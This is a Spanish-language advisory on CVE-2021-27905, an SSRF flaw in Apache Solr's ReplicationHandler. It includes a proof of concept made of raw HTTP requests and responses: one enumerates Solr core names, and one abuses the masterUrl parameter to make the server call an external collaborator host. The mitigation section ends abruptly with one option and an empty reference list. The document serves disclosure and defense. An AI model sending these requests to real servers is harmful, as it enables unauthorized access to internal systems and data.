
[CVE-2021-27905] Apache Solr ReplicationHandler Falsificación de solicitudes del lado del servidor (SSRF)
[CVE-2021-27905] Falsificación de solicitudes del lado del servidor (SSRF) en ReplicationHandler de Apache Solr
Hit Counter
Apache Solr (cuyas siglas provienen de Searching On Lucene with Replication) es un motor de búsqueda gratuito y de código abierto basado en la biblioteca Apache Lucene. Está escrito en Java. Apache Solr tiene APIs RESTful XML/HTTP y JSON, así como bibliotecas cliente para muchos lenguajes de programación como Java, Phyton, Ruby, C#, PHP, y muchos más, que se utilizan para crear aplicaciones de búsqueda y análisis de big data para sitios web, bases de datos, archivos, etc.
Apache Solr todas las versiones anteriores a 8.8.2 (7.0.0 a 7.7.3 y 8.0.0 a 8.8.1) son vulnerables a la vulnerabilidad de Falsificación de solicitudes del lado del servidor (SSRF). La explotación exitosa de esta vulnerabilidad puede dar lugar a acciones no autorizadas o al acceso a datos dentro de la organización, ya sea en la propia aplicación vulnerable o en otros sistemas backend con los que la aplicación pueda comunicarse.
El ReplicationHandler (normalmente registrado en /replication dentro de un core de Solr) tiene un parámetro masterUrl (también con el alias leaderUrl) que se utiliza para designar otro ReplicationHandler en otro core de Solr con el fin de replicar los datos del índice en el core local. Para prevenir una vulnerabilidad SSRF, Solr debería comprobar estos parámetros contra una configuración similar a la que utiliza para el parámetro shards. Antes de que se corrigiera esta vulnerabilidad, no lo hacía.
Prueba de concepto (PoC): Para explotar esta vulnerabilidad, un atacante tiene que conocer el nombre del core en Apache Solr. Por eso, la siguiente solicitud se puede utilizar para determinar el nombre o los nombres de los cores.
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
{
"responseHeader":
{
"status": 0,
"QTime": 0
},
"initFailures":
{},
"status":
{
"beliana_dev":
{
"name": "beliana_dev",
"instanceDir": "/var/solr/data/beliana_dev",
"dataDir": "/var/solr/data/beliana_dev/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-04-20T13:49:06.569Z",
"uptime": 293226747
},
"beliana_prod":
{
"name": "beliana_prod",
"instanceDir": "/var/solr/data/beliana_prod",
"dataDir": "/var/solr/data/beliana_prod/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
},
"beliana_stage":
{
"name": "beliana_stage",
"instanceDir": "/var/solr/data/beliana_stage",
"dataDir": "/var/solr/data/beliana_stage/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
}
}
}

Una vez determinados los nombres de los cores, solo hay que seleccionar uno de ellos y hacer una solicitud a este endpoint: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">75</int>
</lst>
<str name="status">OK</str>
</response>


Mitigación: Cualquiera de las siguientes opciones es suficiente para prevenir esta vulnerabilidad
8.8.2 o superior.Referencias: